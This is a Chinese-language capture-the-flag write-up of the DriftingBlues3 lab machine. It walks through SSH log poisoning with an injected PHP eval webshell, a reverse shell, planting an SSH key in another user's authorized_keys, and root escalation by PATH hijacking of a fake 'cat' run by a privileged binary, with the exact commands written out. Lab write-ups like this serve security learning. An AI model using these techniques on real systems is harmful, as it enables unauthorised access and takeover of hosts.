driftingblues3靶机复盘
打完这个靶机后发现自己最近一段时间进步了很多,并且有了一些自己的思想。
这里扫除来一个22和80端口,大概率是要用到ssh远程登陆的。
扫描ip的同时扫描了一下目录,发现扫描出来很多目录,这里我还很窃喜,当我尝试的时候发现很多目录都是个坑,是个恶作剧,只有一个/robots.txt目录是有点用的。
在这里面发现一个目录,我们进去后发现又一个新目录,让我们检查这个目录。
在这里面我们发现一个base64编码
连续解码了两次出现一个新的目录。
根据上面的英文提醒说这是一个ssh登陆的日志文件。
这个文件的作用就是你的每次登陆都会写在这里面,不管登陆成功与否。
利用这个机制我们就可以写一段php木马进去,用户名的地方写上我们的木马进行注入,刷新一下ssh日志文件发现有了这条记录,但是php代码不见了,这说明代码执行成功了。
ssh 'xxx<?php @eval($_POST['a'])?>'@192.168.102.134
利用中国蚁剑连接一下。
然后打开中国蚁剑的终端进行一个反弹shell。
反弹成功后用python美化一下命令行。并且在home目录下发现一个robertj的用户。
进来以后我们发现这个用户里面有个.ssh,是可以远程连接的,并且其他用户的权限为rwx。利用这个机制我们就可以把我们本机的ssh公钥导入到这个文件里面。
在我们本地kali中创建私钥并指定位置,这样公钥也会自动生成。
第一个是私钥,第二个是公钥。
开启一个服务,把私钥传给我们的靶机。
在靶机里面公钥的文件名需要修改为authorized_keys这样才可以。
在kali上就可以直接免密登陆这个用户了。
搜索了一下拥有root权限的文件,发现有一个getinfo文件。
cat了一下发现这里面的内容,其实就是运行了以下这三条命令。
ip a
cat /etc/hosts
uname -a
这里面既然会用root权限运行,ip a,cat,uname -a这些命令,我们就可以利用环境变量修改里面的内容来提权。
比如说我们想利用cat命令来提权,cat命令的真实目录是/usr/bin/cat,我们可以把/tmp添加进环境变量,在/tmp中创建一个cat文件,这样getinfo这个文件运行的时候就会运行我们这个cat,实则上是我们的提权命令。
所以我们可以
cd /tmp
export PATH="/tmp:$PATH" #这样就把/tmp目录放环境变量的第一个了
touch cat
vi cat #在cat文件中添加命令/bin/bash
chmod +x cat #添加执行权限
getinfo #执行getinfo文件
id #这时候查看我们就有了root权限
这样就发现我们拥有了root权限,顺利夺旗。